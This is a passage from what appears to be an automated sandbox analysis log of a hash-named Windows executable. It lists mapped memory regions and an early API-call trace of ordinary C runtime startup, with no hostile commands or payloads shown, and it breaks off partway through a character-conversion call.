"\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db") Region: id = 393 start_va = 0x2570000 end_va = 0x2573fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 394 start_va = 0x2b70000 end_va = 0x2bfdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 395 start_va = 0x2580000 end_va = 0x2590fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 396 start_va = 0x25a0000 end_va = 0x25a3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 397 start_va = 0x2b00000 end_va = 0x2b13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001a.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001a.db") Region: id = 398 start_va = 0x2b20000 end_va = 0x2b20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b20000" filename = "" Region: id = 417 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 418 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 450 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 451 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 511 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 512 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 513 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 523 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 582 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 583 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 584 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 585 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 638 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 639 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 670 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 671 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 728 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 729 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 751 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 752 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 779 start_va = 0x25a0000 end_va = 0x25a3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 825 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 826 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 868 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 869 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 1011 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1012 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1052 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 1053 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 1176 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1177 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 1295 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 1296 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 1473 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 1474 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 1635 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 1636 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 2024 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 2025 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 2152 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 2153 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 2376 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 2377 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 2423 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 2424 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 3021 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3022 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3069 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 3070 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 3253 start_va = 0xed0000 end_va = 0xf0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 3254 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 3292 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 3293 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 3490 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3491 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3566 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 3567 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 3675 start_va = 0xe50000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 3676 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 3717 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 3718 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 3866 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3867 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 3905 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 3906 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 4065 start_va = 0xe50000 end_va = 0xe8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 4066 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 4121 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 4122 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 4129 start_va = 0x1c0000 end_va = 0x1c6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4285 start_va = 0x5a0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 4286 start_va = 0x2c00000 end_va = 0x2cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c00000" filename = "" Region: id = 4338 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 4339 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 4485 start_va = 0x5e0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 4486 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 4622 start_va = 0xe50000 end_va = 0xf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 4623 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 4624 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 4781 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 4782 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 4877 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 4878 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 5039 start_va = 0x5e0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5040 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 5085 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 5086 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 5254 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 5255 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 5290 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 5291 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 5456 start_va = 0x5e0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5457 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 5490 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 5491 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 5609 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 5610 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 5676 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 5677 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 5767 start_va = 0x5e0000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 5768 start_va = 0x2900000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 5815 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 5816 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Region: id = 5874 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 5875 start_va = 0x2a00000 end_va = 0x2afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 5975 start_va = 0x24f0000 end_va = 0x24f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 5976 start_va = 0x6fc60000 end_va = 0x6fe7bfff monitored = 0 entry_point = 0x6fe2bc40 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\SysWOW64\\actxprxy.dll" (normalized: "c:\\windows\\syswow64\\actxprxy.dll") Thread: id = 1 os_tid = 0x1180 [0146.727] GetStartupInfoA (in: lpStartupInfo=0x18fd4c | out: lpStartupInfo=0x18fd4c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0146.727] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xf60000 [0146.996] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0146.997] GetProcAddress (hModule=0x76d90000, lpProcName="FlsAlloc") returned 0x76daa980 [0146.997] GetProcAddress (hModule=0x76d90000, lpProcName="FlsGetValue") returned 0x76da7570 [0146.997] GetProcAddress (hModule=0x76d90000, lpProcName="FlsSetValue") returned 0x76da9e30 [0146.997] GetProcAddress (hModule=0x76d90000, lpProcName="FlsFree") returned 0x76db4ff0 [0146.997] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0146.998] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.000] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.000] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.000] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.001] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.001] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.001] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.002] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.002] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.002] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.002] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.003] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.003] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.004] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.004] GetProcAddress (hModule=0x76d90000, lpProcName="DecodePointer") returned 0x7709d830 [0147.005] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x214) returned 0xf605a8 [0147.005] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.005] GetProcAddress (hModule=0x76d90000, lpProcName="DecodePointer") returned 0x7709d830 [0147.006] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d90000 [0147.006] GetProcAddress (hModule=0x76d90000, lpProcName="EncodePointer") returned 0x7709f730 [0147.006] GetProcAddress (hModule=0x76d90000, lpProcName="DecodePointer") returned 0x7709d830 [0147.007] GetCurrentThreadId () returned 0x1180 [0147.007] GetStartupInfoA (in: lpStartupInfo=0x18fcd0 | out: lpStartupInfo=0x18fcd0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0147.007] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x800) returned 0xf607c8 [0147.007] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0147.007] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0147.007] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0147.007] SetHandleCount (uNumber=0x20) returned 0x20 [0147.007] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\3729c1d683690f752732ec18372a555abfb0d20c02ea3f9fe60ca6577722c9a8.exe\" " [0147.007] GetEnvironmentStringsW () returned 0xfa3eb8* [0147.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1351 [0147.008] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x0, Size=0x547) returned 0xf60fd0 [0147.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1351, lpMultiByteStr=0xf60fd0, cbMultiByte=1351, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1351 [0147.008] FreeEnvironmentStringsW (penv=0xfa3eb8) returned 1 [0147.008] GetLastError () returned 0x0 [0147.008] SetLastError (dwErrCode=0x0) [0147.009] GetLastError () returned 0x0 [0147.009] SetLastError (dwErrCode=0x0) [0147.009] GetLastError () returned 0x0 [0147.009] SetLastError (dwErrCode=0x0) [0147.009] GetACP () returned 0x4e4 [0147.009] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x0, Size=0x220) returned 0xf61520 [0147.009] GetLastError () returned 0x0 [0147.010] SetLastError (dwErrCode=0x0) [0147.010] IsValidCodePage (CodePage=0x4e4) returned 1 [0147.010] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fcb0 | out: lpCPInfo=0x18fcb0) returned 1 [0147.010] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f77c | out: lpCPInfo=0x18f77c) returned 1 [0147.010] GetLastError () returned 0x0 [0147.010] SetLastError (dwErrCode=0x0) [0147.010] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f70c | out: lpCharType=0x18f70c) returned 1 [0147.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fb90, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0147.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fb90, cbMultiByte=256, lpWideCharStr=0x18f4f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 